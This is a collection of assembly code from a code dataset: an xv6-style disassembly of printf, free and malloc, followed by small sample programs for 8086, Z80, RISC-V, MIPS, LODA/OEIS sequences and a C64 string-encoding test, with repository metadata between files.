498: 89 44 24 04 mov %eax,0x4(%esp)
49c: 89 34 24 mov %esi,(%esp)
49f: 89 55 d0 mov %edx,-0x30(%ebp)
4a2: c6 45 e6 25 movb $0x25,-0x1a(%ebp)
4a6: e8 07 fe ff ff call 2b2 <write>
putc(fd, c);
4ab: 8b 55 d0 mov -0x30(%ebp),%edx
write(fd, &c, 1);
4ae: 8d 45 e7 lea -0x19(%ebp),%eax
4b1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4b8: 00
4b9: 89 44 24 04 mov %eax,0x4(%esp)
4bd: 89 34 24 mov %esi,(%esp)
putc(fd, c);
4c0: 88 55 e7 mov %dl,-0x19(%ebp)
write(fd, &c, 1);
4c3: e8 ea fd ff ff call 2b2 <write>
for(i = 0; fmt[i]; i++){
4c8: 0f b6 53 ff movzbl -0x1(%ebx),%edx
4cc: 84 d2 test %dl,%dl
4ce: 0f 85 76 ff ff ff jne 44a <printf+0x5a>
4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
}
4d8: 83 c4 3c add $0x3c,%esp
4db: 5b pop %ebx
4dc: 5e pop %esi
4dd: 5f pop %edi
4de: 5d pop %ebp
4df: c3 ret
state = '%';
4e0: bf 25 00 00 00 mov $0x25,%edi
4e5: e9 51 ff ff ff jmp 43b <printf+0x4b>
4ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4f0: 8b 45 d4 mov -0x2c(%ebp),%eax
4f3: b9 10 00 00 00 mov $0x10,%ecx
state = 0;
4f8: 31 ff xor %edi,%edi
printint(fd, *ap, 16, 0);
4fa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
501: 8b 10 mov (%eax),%edx
503: 89 f0 mov %esi,%eax
505: e8 46 fe ff ff call 350 <printint>
ap++;
50a: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
50e: e9 28 ff ff ff jmp 43b <printf+0x4b>
513: 90 nop
514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
ap++;
51b: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
s = (char*)*ap;
51f: 8b 38 mov (%eax),%edi
s = "(null)";
521: b8 6a 07 00 00 mov $0x76a,%eax
526: 85 ff test %edi,%edi
528: 0f 44 f8 cmove %eax,%edi
while(*s != 0){
52b: 0f b6 07 movzbl (%edi),%eax
52e: 84 c0 test %al,%al
530: 74 2a je 55c <printf+0x16c>
532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
538: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
53b: 8d 45 e3 lea -0x1d(%ebp),%eax
s++;
53e: 83 c7 01 add $0x1,%edi
write(fd, &c, 1);
541: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
548: 00
549: 89 44 24 04 mov %eax,0x4(%esp)
54d: 89 34 24 mov %esi,(%esp)
550: e8 5d fd ff ff call 2b2 <write>
while(*s != 0){
555: 0f b6 07 movzbl (%edi),%eax
558: 84 c0 test %al,%al
55a: 75 dc jne 538 <printf+0x148>
state = 0;
55c: 31 ff xor %edi,%edi
55e: e9 d8 fe ff ff jmp 43b <printf+0x4b>
563: 90 nop
564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
568: 8d 45 e5 lea -0x1b(%ebp),%eax
state = 0;
56b: 31 ff xor %edi,%edi
write(fd, &c, 1);
56d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
574: 00
575: 89 44 24 04 mov %eax,0x4(%esp)
579: 89 34 24 mov %esi,(%esp)
57c: c6 45 e5 25 movb $0x25,-0x1b(%ebp)
580: e8 2d fd ff ff call 2b2 <write>
585: e9 b1 fe ff ff jmp 43b <printf+0x4b>
58a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
590: 8b 45 d4 mov -0x2c(%ebp),%eax
593: b9 0a 00 00 00 mov $0xa,%ecx
state = 0;
598: 66 31 ff xor %di,%di
printint(fd, *ap, 10, 1);
59b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5a2: 8b 10 mov (%eax),%edx
5a4: 89 f0 mov %esi,%eax
5a6: e8 a5 fd ff ff call 350 <printint>
ap++;
5ab: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
5af: e9 87 fe ff ff jmp 43b <printf+0x4b>
putc(fd, *ap);
5b4: 8b 45 d4 mov -0x2c(%ebp),%eax
state = 0;
5b7: 31 ff xor %edi,%edi
putc(fd, *ap);
5b9: 8b 00 mov (%eax),%eax
write(fd, &c, 1);
5bb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
5c2: 00
5c3: 89 34 24 mov %esi,(%esp)
putc(fd, *ap);
5c6: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5c9: 8d 45 e4 lea -0x1c(%ebp),%eax
5cc: 89 44 24 04 mov %eax,0x4(%esp)
5d0: e8 dd fc ff ff call 2b2 <write>
ap++;
5d5: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
5d9: e9 5d fe ff ff jmp 43b <printf+0x4b>
5de: 66 90 xchg %ax,%ax
000005e0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5e0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e1: a1 ec 09 00 00 mov 0x9ec,%eax
{
5e6: 89 e5 mov %esp,%ebp
5e8: 57 push %edi
5e9: 56 push %esi
5ea: 53 push %ebx
5eb: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ee: 8b 08 mov (%eax),%ecx
bp = (Header*)ap - 1;
5f0: 8d 53 f8 lea -0x8(%ebx),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5f3: 39 d0 cmp %edx,%eax
5f5: 72 11 jb 608 <free+0x28>
5f7: 90 nop
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f8: 39 c8 cmp %ecx,%eax
5fa: 72 04 jb 600 <free+0x20>
5fc: 39 ca cmp %ecx,%edx
5fe: 72 10 jb 610 <free+0x30>
600: 89 c8 mov %ecx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
602: 39 d0 cmp %edx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
604: 8b 08 mov (%eax),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
606: 73 f0 jae 5f8 <free+0x18>
608: 39 ca cmp %ecx,%edx
60a: 72 04 jb 610 <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
60c: 39 c8 cmp %ecx,%eax
60e: 72 f0 jb 600 <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
610: 8b 73 fc mov -0x4(%ebx),%esi
613: 8d 3c f2 lea (%edx,%esi,8),%edi
616: 39 cf cmp %ecx,%edi
618: 74 1e je 638 <free+0x58>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
61a: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
61d: 8b 48 04 mov 0x4(%eax),%ecx
620: 8d 34 c8 lea (%eax,%ecx,8),%esi
623: 39 f2 cmp %esi,%edx
625: 74 28 je 64f <free+0x6f>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
627: 89 10 mov %edx,(%eax)
freep = p;
629: a3 ec 09 00 00 mov %eax,0x9ec
}
62e: 5b pop %ebx
62f: 5e pop %esi
630: 5f pop %edi
631: 5d pop %ebp
632: c3 ret
633: 90 nop
634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
638: 03 71 04 add 0x4(%ecx),%esi
63b: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
63e: 8b 08 mov (%eax),%ecx
640: 8b 09 mov (%ecx),%ecx
642: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
645: 8b 48 04 mov 0x4(%eax),%ecx
648: 8d 34 c8 lea (%eax,%ecx,8),%esi
64b: 39 f2 cmp %esi,%edx
64d: 75 d8 jne 627 <free+0x47>
p->s.size += bp->s.size;
64f: 03 4b fc add -0x4(%ebx),%ecx
freep = p;
652: a3 ec 09 00 00 mov %eax,0x9ec
p->s.size += bp->s.size;
657: 89 48 04 mov %ecx,0x4(%eax)
p->s.ptr = bp->s.ptr;
65a: 8b 53 f8 mov -0x8(%ebx),%edx
65d: 89 10 mov %edx,(%eax)
}
65f: 5b pop %ebx
660: 5e pop %esi
661: 5f pop %edi
662: 5d pop %ebp
663: c3 ret
664: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
66a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000670 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 57 push %edi
674: 56 push %esi
675: 53 push %ebx
676: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
679: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
67c: 8b 1d ec 09 00 00 mov 0x9ec,%ebx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
682: 8d 48 07 lea 0x7(%eax),%ecx
685: c1 e9 03 shr $0x3,%ecx
if((prevp = freep) == 0){
688: 85 db test %ebx,%ebx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
68a: 8d 71 01 lea 0x1(%ecx),%esi
if((prevp = freep) == 0){
68d: 0f 84 9b 00 00 00 je 72e <malloc+0xbe>
693: 8b 13 mov (%ebx),%edx
695: 8b 7a 04 mov 0x4(%edx),%edi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
698: 39 fe cmp %edi,%esi
69a: 76 64 jbe 700 <malloc+0x90>
69c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax
if(nu < 4096)
6a3: bb 00 80 00 00 mov $0x8000,%ebx
6a8: 89 45 e4 mov %eax,-0x1c(%ebp)
6ab: eb 0e jmp 6bb <malloc+0x4b>
6ad: 8d 76 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6b0: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6b2: 8b 78 04 mov 0x4(%eax),%edi
6b5: 39 fe cmp %edi,%esi
6b7: 76 4f jbe 708 <malloc+0x98>
6b9: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6bb: 3b 15 ec 09 00 00 cmp 0x9ec,%edx
6c1: 75 ed jne 6b0 <malloc+0x40>
if(nu < 4096)
6c3: 8b 45 e4 mov -0x1c(%ebp),%eax
6c6: 81 fe 00 10 00 00 cmp $0x1000,%esi
6cc: bf 00 10 00 00 mov $0x1000,%edi
6d1: 0f 43 fe cmovae %esi,%edi
6d4: 0f 42 c3 cmovb %ebx,%eax
p = sbrk(nu * sizeof(Header));
6d7: 89 04 24 mov %eax,(%esp)
6da: e8 3b fc ff ff call 31a <sbrk>
if(p == (char*)-1)
6df: 83 f8 ff cmp $0xffffffff,%eax
6e2: 74 18 je 6fc <malloc+0x8c>
hp->s.size = nu;
6e4: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
6e7: 83 c0 08 add $0x8,%eax
6ea: 89 04 24 mov %eax,(%esp)
6ed: e8 ee fe ff ff call 5e0 <free>
return freep;
6f2: 8b 15 ec 09 00 00 mov 0x9ec,%edx
if((p = morecore(nunits)) == 0)
6f8: 85 d2 test %edx,%edx
6fa: 75 b4 jne 6b0 <malloc+0x40>
return 0;
6fc: 31 c0 xor %eax,%eax
6fe: eb 20 jmp 720 <malloc+0xb0>
if(p->s.size >= nunits){
700: 89 d0 mov %edx,%eax
702: 89 da mov %ebx,%edx
704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
708: 39 fe cmp %edi,%esi
70a: 74 1c je 728 <malloc+0xb8>
p->s.size -= nunits;
70c: 29 f7 sub %esi,%edi
70e: 89 78 04 mov %edi,0x4(%eax)
p += p->s.size;
711: 8d 04 f8 lea (%eax,%edi,8),%eax
p->s.size = nunits;
714: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
717: 89 15 ec 09 00 00 mov %edx,0x9ec
return (void*)(p + 1);
71d: 83 c0 08 add $0x8,%eax
}
}
720: 83 c4 1c add $0x1c,%esp
723: 5b pop %ebx
724: 5e pop %esi
725: 5f pop %edi
726: 5d pop %ebp
727: c3 ret
prevp->s.ptr = p->s.ptr;
728: 8b 08 mov (%eax),%ecx
72a: 89 0a mov %ecx,(%edx)
72c: eb e9 jmp 717 <malloc+0xa7>
base.s.ptr = freep = prevp = &base;
72e: c7 05 ec 09 00 00 f0 movl $0x9f0,0x9ec
735: 09 00 00
base.s.size = 0;
738: ba f0 09 00 00 mov $0x9f0,%edx
base.s.ptr = freep = prevp = &base;
73d: c7 05 f0 09 00 00 f0 movl $0x9f0,0x9f0
744: 09 00 00
base.s.size = 0;
747: c7 05 f4 09 00 00 00 movl $0x0,0x9f4
74e: 00 00 00
751: e9 46 ff ff ff jmp 69c <malloc+0x2c>
| 33.350171
| 60
| 0.41663
|
b085083d9d89c32ab2e2617ec066bf96f74d1534
| 60
|
asm
|
Assembly
|
MPI/Lab-1/sub_16_bit.asm
|
vishwas1101/Misc
|
cf660dfbacc674cd262eb4abd0e9dd07479a90ae
|
[
"MIT"
] | null | null | null |
MPI/Lab-1/sub_16_bit.asm
|
vishwas1101/Misc
|
cf660dfbacc674cd262eb4abd0e9dd07479a90ae
|
[
"MIT"
] | null | null | null |
MPI/Lab-1/sub_16_bit.asm
|
vishwas1101/Misc
|
cf660dfbacc674cd262eb4abd0e9dd07479a90ae
|
[
"MIT"
] | null | null | null |
org 100h
MOV BX,03B7AH
MOV CX,0C142H
SUB BX,CX
ret
| 4.615385
| 15
| 0.65
|
4348e877339a176ea9de6cb19048274299b480d3
| 614
|
asm
|
Assembly
|
Universe/Sun/SunXX25Vars.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 9
|
2021-09-29T22:08:15.000Z
|
2022-03-23T05:35:43.000Z
|
Universe/Sun/SunXX25Vars.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 1
|
2022-01-21T12:35:42.000Z
|
2022-01-21T17:47:24.000Z
|
Universe/Sun/SunXX25Vars.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 1
|
2022-01-15T10:13:49.000Z
|
2022-01-15T10:13:49.000Z
|
;-- XX25 --------------------------------------------------------------------------------------------------------------------------
SBnKProjxLo DB 0
SBnKProjxHi DB 0
SBnKProjxSgn DB 0
SBnKProjx EQU SBnKProjxLo
SBnKProjyLo DB 0
SBnKProjyHi DB 0
SBnKProjySgn DB 0
SBnKProjy EQU SBnKProjyLo
SBnKProjzLo DB 0
SBnKProjzHi DB 0
SBnKProjzSgn DB 0
SBnKProjz EQU SBnKProjzLo
SXX25 EQU SBnKProjxLo
| 40.933333
| 131
| 0.359935
|
b0a5c1e51b709e94a5f510233bf39a1e6bd492ea
| 149
|
asm
|
Assembly
|
libsrc/nc100/padoutparallel.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/nc100/padoutparallel.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/nc100/padoutparallel.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
PUBLIC padoutparallel
; fast call
.padoutparallel
ld a, l
call 0xb860
jr nc, nochar
ld h, 0
ld l, a
ret
nochar: ld hl, 0xffff
ret
| 10.642857
| 23
| 0.644295
|
cd56c4d3f3609db7c6a306a9bf058f4b4310d8c7
| 144
|
asm
|
Assembly
|
doc/asm/counter.asm
|
Lukeekul/TinyFive
|
a38be3be6095a510aeffe8d1b0766dfa4887e22b
|
[
"MIT"
] | 5
|
2019-07-22T22:44:19.000Z
|
2019-08-08T18:54:14.000Z
|
doc/asm/counter.asm
|
Lukeekul/TinyFive
|
a38be3be6095a510aeffe8d1b0766dfa4887e22b
|
[
"MIT"
] | null | null | null |
doc/asm/counter.asm
|
Lukeekul/TinyFive
|
a38be3be6095a510aeffe8d1b0766dfa4887e22b
|
[
"MIT"
] | null | null | null |
_start:
xor ra, ra, ra
xor sp, sp, sp
addi sp, sp, 100
count:
addi ra, ra, 1
blt ra, sp, count
reset:
xor ra, ra, ra
beq ra, ra, count
| 11.076923
| 18
| 0.604167
|
cb3104993e13b37dc347cdc921cc7c0042dd72f2
| 443
|
asm
|
Assembly
|
programs/oeis/037/A037627.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/037/A037627.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/037/A037627.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A037627: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 2,3,0.
; 2,15,90,542,3255,19530,117182,703095,4218570,25311422,151868535,911211210,5467267262,32803603575,196821621450,1180929728702,7085578372215,42513470233290,255080821399742,1530484928398455
cal $0,33142 ; Base-6 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,0.
mul $0,60
div $0,24
mov $1,$0
| 55.375
| 187
| 0.792325
|
1be98bc737cf0229cec8980e213ee9f94ab60800
| 600
|
asm
|
Assembly
|
Modules/Module4/InputOutput/read_double.asm
|
hackettccp/CSCI213
|
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
|
[
"MIT"
] | null | null | null |
Modules/Module4/InputOutput/read_double.asm
|
hackettccp/CSCI213
|
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
|
[
"MIT"
] | null | null | null |
Modules/Module4/InputOutput/read_double.asm
|
hackettccp/CSCI213
|
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
|
[
"MIT"
] | null | null | null |
#Demonstrates reading a double
.text
la $a0, prompt #Loads starting address of prompt string to $a0
li $v0, 4 #Sets the syscall code for printing a string
syscall
li $v0, 7 #Sets the syscall code for reading a double
syscall
la $a0, output #Loads starting address of output string to $a0
li $v0, 4 #Sets the syscall code for printing a string
syscall
mov.d $f12, $f0 #Moves the entered double in $f0 (and $f1) to $f12 (and $f13)
li $v0, 3 #Sets the syscall code for printing a double
syscall
.data
prompt: .asciiz "Enter a non-integer number: "
output: .asciiz "You entered "
| 30
| 79
| 0.711667
|
a37b734a1c597b6c31ce41b420a1b046ad78ae1a
| 3,045
|
asm
|
Assembly
|
programs/oeis/017/A017375.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017375.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017375.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017375: a(n) = (10*n + 8)^11.
; 8589934592,64268410079232,8293509467471872,238572050223552512,3116402981210161152,24986644000165537792,143746751770690322432,650190514836423555072,2450808588882738675712,8007313507497959524352,23316389970546096340992,61759259534823101765632,151115727451828646838272,345676575099245416998912,746240592700077928087552,1531891323960362862344192,3008860818706922924408832,5683554455074796217321472,10368987284463733138522112,18336527447218512795850752,31528019073332790943547392,52847132780654751438252032,86553237464988993215004672,138786277585726844783245312,218257154622460658242813952,337145032839390594819950592,512250904963838973923295232,766465753873151417719887872,1130621826892669783231168512,1645806998829973233948977152,2366235041392544762971553792,3362778947134455039659538432,4727290386521267611811971072,6577846022051543255362291712,9065080882580120623594340352,12379790436996519307878356992,16762006526156773981926981632,22511778046375868461571254272,30001915361779480272056614912,39692987995298433674858903552,52150898351969236066020360192,68067390210373163218005624832,88283889629390066997077737472,113819117912838588948194138112,145900961512890638499422666752,186003132397245379497877563392,235887204621778787349175468032,297650668810592995192411420672,373781706123910725302654861312,467221447269921365272965629952,581434550372305641487929966592,720489004227555988960716511232,889146140866171920765652303872,1092961923564137946058318784512,1338400663734571537035167793152,1632962412666837646144657569792,1985325372078533349421908754432,2405504771115312043978880387072,2905029766989293641442065907712,3497140042107539438489709156352,4197003892530493554600540372992,5021959731143134429686032197632,5991783064249558974438175670272,7128981142649549347984776230912,8459117637862050464804269719552,10011169851268109349812058376192,11817921128801381191090366840832,13916391326668468887893618153472,16348308354688802241321329754112,19160624013463140550410529482752,22406077539973750801359691579392,26143810483654517096156192684032,30440036751716311363039287836672,35368771888846528308990606477312,41012625892600378277804168445952,47463664112147951110247919982592,54824341034821814889388789727232,63208512032415589898313264719872,72742528417709126203235486400512,83566421451539190666344866609152,95835181242198505233705223585792,109720136792337134058077437970432,125410443774169145108697628803072,143114686951968716773802849523712,163062604521891957641056303972352,185506942003406185889984082388992,210725443694373792973095417413632,239022990093453605602518460086272,270733890099283363280743575846912,306224337216231040181426160535552,345895039431692746243160976392192,390184032880317320709700008056832,439569689876502951538245838569472,494573932378393677287212545370112,555765662444761907150206116298752,623764421760959574267936385595392,699244292841921653548332489900032,782938055069381955861293844252672,875641609287386775232268638093312,978218685265245525802211851261952
mul $0,10
add $0,8
pow $0,11
| 435
| 2,981
| 0.956322
|
6d753e746426e6879976e16867e66752ed1263da
| 2,129
|
asm
|
Assembly
|
programs/oeis/183/A183345.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/183/A183345.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/183/A183345.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A183345: Number of n X 3 binary arrays with each 1 adjacent to exactly one 0 vertically and one 0 horizontally.
; 1,9,16,25,64,144,289,625,1369,2916,6241,13456,28900,62001,133225,286225,614656,1320201,2835856,6091024,13082689,28100601,60357361,129640996,278455969,598095936,1284648964,2759295841,5926690225,12729931929,27342606736,58729160281,126144308224,270945234576,581963008225,1249997789089,2684869042249,5766827622084,12386563497025,26605087792144,57145042400356,122741781474321,263636954083801,566265559432225,1216281249050176,2612449322015625,5611277379571600,12052457272611856,25887461353764481,55603653278624361,119431033258730209,256525801169672644,550991520965856961,1183474156563968256,2541982999665184516,5459922833759041729,11727362989653585121,25189191656836619049,54103840469902688656,116209586773229952025,249606459369871856704,536129473386233866896,1151551978899208064161,2473417385041548145489,5312650816226197026361,11411037565208501422500,24509756582702445225889,52644482529345643941904,113075033259959034252004,242873754901352770122225,521668303950616482976969,1120490847013281053148721,2406701209815866791576576,5169351207793045385584521,11103244474438060015210000,23848648099840017575573776,51224488256509183002988225,110025028930627278165051225,236322653543485661732809681,507597199661249401081604836,1090267535678848002721772641,2341784588544832466588295744,5029916859563777873119653124,10803753572332290809057010721,23205371880004679021848909201,49842795884233038513049797561,107057293216574687365879323664,229948256865045443413824910681,493905639182427856658525872384,1060859446129093430852132631696,2278618981358994587583113853025,4894243512799609305945719891329,10512340921646691911964053277481,22579446928604905111438896576516,48498372284697898241312564876929,104169607063554400376154094692496,223745798561555101970218568832100,480583384973361800963839481563089,1032244589160026405280429949495609,2217157157668305109178327770794049
add $0,1
seq $0,196382 ; Number of sequences of n coin flips, that win on the last flip, if the sequence of flips ends with (1,1,0) or (1,0,1).
add $0,1
pow $0,2
| 266.125
| 1,851
| 0.915453
|
f5da97085924a03f0a44673c89e9543c997abb58
| 512
|
asm
|
Assembly
|
oeis/001/A001622.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/001/A001622.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/001/A001622.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A001622: Decimal expansion of golden ratio phi (or tau) = (1 + sqrt(5))/2.
; Submitted by Jon Maiga
; 1,6,1,8,0,3,3,9,8,8,7,4,9,8,9,4,8,4,8,2,0,4,5,8,6,8,3,4,3,6,5,6,3,8,1,1,7,7,2,0,3,0,9,1,7,9,8,0,5,7,6,2,8,6,2,1,3,5,4,4,8,6,2,2,7,0,5,2,6,0,4,6,2,8,1,8,9,0,2,4,4,9,7,0,7,2,0,7,2,0,4,1,8,9,3,9,1,1,3,7
mov $1,1
mov $3,$0
mul $3,4
sub $3,$0
lpb $3
add $2,$0
add $1,$2
add $2,$1
mul $1,2
mul $2,2
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
mov $5,$2
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
mod $0,10
| 19.692308
| 201
| 0.535156
|
1b1ca9640948617424d35b75fb68238cb165f083
| 2,253
|
asm
|
Assembly
|
src/test/ref/string-encoding-literals.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/string-encoding-literals.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/string-encoding-literals.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// Test string encoding via literals
// Commodore 64 PRG executable file
.file [name="string-encoding-literals.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
.label SCREEN = $400
.label D018 = $d018
// *D018 = 0x16
lda #$16
sta D018
ldx #0
__b1:
// (SCREEN+40*0)[i] = petscii_mixed[i]
lda petscii_mixed,x
sta SCREEN,x
// (SCREEN+40*1)[i] = petscii_upper[i]
lda petscii_upper,x
sta SCREEN+$28*1,x
// (SCREEN+40*2)[i] = petscii_standard[i]
lda petscii_standard,x
sta SCREEN+$28*2,x
// (SCREEN+40*3)[i] = screencode_mixed[i]
lda screencode_mixed,x
sta SCREEN+$28*3,x
// (SCREEN+40*4)[i] = screencode_upper[i]
lda screencode_upper,x
sta SCREEN+$28*4,x
// (SCREEN+40*5)[i] = screencode_standard[i]
lda screencode_standard,x
sta SCREEN+$28*5,x
// (SCREEN+40*6)[i] = ascii[i]
lda ascii,x
sta SCREEN+$28*6,x
// (SCREEN+40*7)[i] = atascii[i]
lda atascii,x
sta SCREEN+$28*7,x
// (SCREEN+40*8)[i] = screencode_atari[i]
lda screencode_atari,x
sta SCREEN+$28*8,x
// (SCREEN+40*9)[i] = standard[i]
lda standard,x
sta SCREEN+$28*9,x
// (SCREEN+40*10)[i] = no_null[i]
lda no_null,x
sta SCREEN+$28*$a,x
// for( char i: 0..7 )
inx
cpx #8
bne __b1
// }
rts
}
.segment Data
no_null: .text "abcABC1"
.encoding "petscii_mixed"
petscii_mixed: .text "abcABC1"
.byte 0
.encoding "petscii_upper"
petscii_upper: .text "abcABC2"
.byte 0
.encoding "petscii_mixed"
petscii_standard: .text "abcABC3"
.byte 0
.encoding "screencode_mixed"
screencode_mixed: .text "abcABC4"
.byte 0
.encoding "screencode_upper"
screencode_upper: .text "abcABC5"
.byte 0
.encoding "screencode_mixed"
screencode_standard: .text "abcABC6"
.byte 0
.encoding "ascii"
ascii: .text "abcABC7"
.byte 0
.encoding "ascii"
atascii: .text "abcABC8"
.byte 0
.encoding "ascii"
screencode_atari: .text @"abc\$21\$22\$23\$19"
.byte 0
.encoding "screencode_mixed"
standard: .text "abcABC0"
.byte 0
| 24.758242
| 75
| 0.642255
|
10f8310594a5c08cc571aa1091b30509be5f36e9
| 2,386
|
asm
|
Assembly
|
